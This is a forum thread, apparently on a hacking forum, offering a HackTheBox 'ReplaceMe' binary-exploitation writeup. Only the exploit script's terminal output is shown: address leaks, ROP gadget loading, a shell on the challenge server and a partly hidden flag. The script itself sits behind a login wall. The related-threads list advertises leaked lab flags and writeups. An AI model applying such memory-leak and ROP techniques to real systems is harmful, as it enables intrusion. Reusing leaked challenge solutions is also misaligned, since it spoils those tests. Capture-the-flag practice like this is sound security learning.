HTB - ReplaceMe Writeup
by TechArtificer - Wednesday March 5, 2025 at 10:58 AM
#1
This is a full writeup of ReplaceMe challenge including a python script that does all the magic.

Output of the script:

┌──(kali㉿kali)-[~/Downloads/replaceme] └─$ python replaceme.py [*]'/home/kali/Downloads/replaceme/replaceme'     Arch:      amd64-64-little     RELRO:      Full RELRO     Stack:      No canary found     NX:        NX enabled     PIE:        PIE enabled     SHSTK:      Enabled     IBT:        Enabled     Stripped:  No [*]'/home/kali/Downloads/replaceme/libc.so.6'     Arch:      amd64-64-little     RELRO:      Partial RELRO     Stack:      Canary found     NX:        NX enabled     PIE:        PIE enabled     SHSTK:      Enabled     IBT:        Enabled [+] Opening connection to 94.237.59.30 on port 39881: Done Leaked address:  0x55989f10f652 [*]Paused (press any to continue) elf @ 0x55989f10e000 Leaked address:  0x7f1afd817420 [*]Paused (press any to continue) libc @ 0x7f1afd793000 [*]Loaded 195 cached gadgets for './libc.so.6' [*]Switching to interactive mode [+] Thank you! Here is the result: [...]                                                                                      $ id uid=1337(ctf) gid=1337(ctf) groups=1337(ctf) $ ls flag.txt replaceme $ cat flag.txt HTB{r34d_...} $ 

Hidden Content
You must register or login to view this content.
Reply
#2
appreciate! valuable source to learn, compared with my own script and improved!
Reply
#3
(03-07-2025, 08:18 PM)noter Wrote: appreciate! valuable source to learn, compared with my own script and improved!

Glad you liked the writeup, always good to have something to compare your own solution to.
Reply
#4
thanks you but not making it for free srsly but yeah its a good way to learn pwn
Ban reason: Leeching | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you feel this is incorrect. (Permanent)
Reply
#5
Would really love to get this write up working
imma try it out
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 96 28,678 Yesterday, 06:45 PM
Last Post: horz
  HTB LAB MACHINE[Overflow][HARD] User & Root flags t1g35h4rk 0 344 09-05-2026, 07:08 PM
Last Post: t1g35h4rk
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 369 117,044 09-05-2026, 10:59 AM
Last Post: dsscdsee
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 604 122,388 09-03-2026, 09:27 AM
Last Post: jokowi69
  HTB Academy - Active Directory Penetration Tester Path 2024 loganpaul09 19 11,605 09-01-2026, 06:25 AM
Last Post: adolfoL



 Users browsing this thread: 1 Guest(s)